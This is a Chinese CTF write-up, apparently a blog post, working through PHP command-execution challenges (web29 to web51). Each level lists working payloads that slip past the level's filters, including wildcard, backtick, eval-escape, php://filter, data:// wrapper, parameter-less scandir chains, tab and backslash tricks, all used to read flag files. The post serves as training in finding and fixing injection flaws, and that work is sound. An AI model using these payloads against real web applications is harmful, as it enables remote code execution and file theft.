CISCN(web篇)命令执行

命令执行入门

web29请添加图片描述

思路分析
1.常规命令执行漏洞,通过控制输入变量c,借助eval函数实现RCE的目的。
2.题目过滤掉了flag,可以通过通配符绕过。
3.考虑传入system执行系统命令,借助通配符绕过正则匹配。
4.payload:?c=system(‘tac fla*’);

web30

请添加图片描述
思路分析
1.在上题的基础上增加了更多过滤,无法借助system执行系统命令。
2.借助反引号执行系统命令,拼接echo命令,达到RCE的目的
3.payload:?c=echo `tac fla*`;

web 31请添加图片描述

思路分析
1.在上题的基础上过滤了空格,无法使用传统的RCE技巧。
2.拼接eval命令,进行逃逸
3.payload:?c=eval($_GET[a]);&a=system(‘tac flag.php’);
4.解释:输入变量c,c接收的是get变量a的执行结果,我们对变量a拼接RCE命令即可逃逸对c的过滤,达到RCE的目的。

web 32

请添加图片描述

思路分析
1.分号被过滤,无法使用上题的技巧。
2.考虑include,php中include一个文件,如果文件是php格式则会被按照php解析执行,我们想得到文件中的内容,考虑借助php协议中的过滤器。
3.过滤分号,php代码中最后一行的语句可以以?>结束而不以分号结束。
4.payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php得到的是文件的base64编码,借助工具解码后得到flag

web 37

请添加图片描述

思路分析
1.采用data伪协议进行RCE
2.payload:?c=data://text/plain,<?php system('tac fla*');?>

web 38

请添加图片描述
思路分析
1.在上题的基础上过滤了php,考虑使用php短标签绕过。
2.payload:?c=data://text/plain,<?= system('tac fla*');?>

web 40(无参RCE)

请添加图片描述
思路分析
1.过滤掉了无数内容,考虑使用无参RCE
2.前备知识:(1).PHP localeconv()函数
在这里插入图片描述 (2).?c=var_dump(localeconv());
请添加图片描述我们真正需要的是第一个.目的是配合scandir进行目录遍历,下一步考虑获得.
(3).current()
在这里插入图片描述(4).?c=var_dump(current(localeconv()));
请添加图片描述成功获得.配合scandir进行目录遍历。
(5).?c=var_dump(scandir(current(localeconv())));
请添加图片描述成功实现目录遍历,下一步考虑直接读取flag文件。
(6).使用array_reverse()函数使目录翻转。
?c=var_dump(array_reverse(scandir(current(localeconv()))));
请添加图片描述flag文件来到了从前到后第二个的位置。
(7).next指针获取第二个文件位置
?c=var_dump(next(array_reverse(scandir(current(localeconv())))));
请添加图片描述(8).读取flag文件
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
请添加图片描述

web 41

(异或无参RCE)

web42

请添加图片描述
思路分析
1.这次后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显。
2.考虑用管道符分割。
3.payload:?c=tac fl*;

web 43

请添加图片描述思路分析
1.与之前相比,过滤了分号,cat
2.考虑分号除外其他的管道符绕过
3.payload:?c=tac flag*||

web 45

请添加图片描述思路分析
1.与之前相比多过滤了空格
2.考虑用%09绕过空格
3.payload:?c=tac%09fl*||

web 46

请添加图片描述思路分析
1.与之前相比,过滤掉了*无法使用之前通配符的方法绕过对flag的过滤。
2.考虑采用?单个匹配
3.payload:?c=tac%09fla?.php||

web 50

payload:?c=tac<>fla\g.php||

web 51

请添加图片描述思路分析
1.增加了对tac的过滤
2.考虑用\分割绕过
3.payload:?c=t\ac<>fla\g.php||

web 52

(未完待续)

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值